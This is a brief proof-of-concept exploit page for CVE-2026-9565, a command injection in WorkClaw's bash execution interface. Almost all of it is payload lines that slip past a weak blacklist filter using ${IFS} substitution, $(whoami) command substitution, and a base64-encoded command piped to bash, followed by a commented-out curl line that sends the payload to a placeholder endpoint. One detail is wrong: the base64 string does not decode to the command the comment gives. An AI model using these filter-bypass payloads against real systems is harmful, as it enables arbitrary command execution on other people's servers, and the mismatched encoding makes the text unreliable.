CVE-2026-9565: WorkClaw OS命令注入漏洞

# PoC for CVE-2026-9565: WorkClaw OS Command Injection # The vulnerability allows bypassing the blacklist check in is_dangerous() # to execute arbitrary OS commands. # Target: The bash command execution interface in WorkClaw # Scenario: The application takes a command argument and checks it via is_dangerous() # Payload construction to bypass weak blacklist filtering (e.g., checking for "rm", "cat", etc.) # Example 1: Using variable substitution to hide the command PAYLOAD="cmd=echo${IFS}Hacked" # Example 2: If the blacklist checks for specific separators like ';' or '|' # but fails to check for backticks or $() PAYLOAD="id=$(whoami)" # Example 3: Base64 encoding to bypass string matching (if supported by shell context) # Payload to execute: touch /tmp/pwned # Encoded: dG91Y2ggL3RtcC9wb25lZA== # PAYLOAD="echo dG91Y2ggL3RtcC9wb25lZA== | base64 -d | bash" echo "[*] Sending malicious payload to trigger OS Command Injection..." # curl -X POST "http://target-endpoint" -d "$PAYLOAD"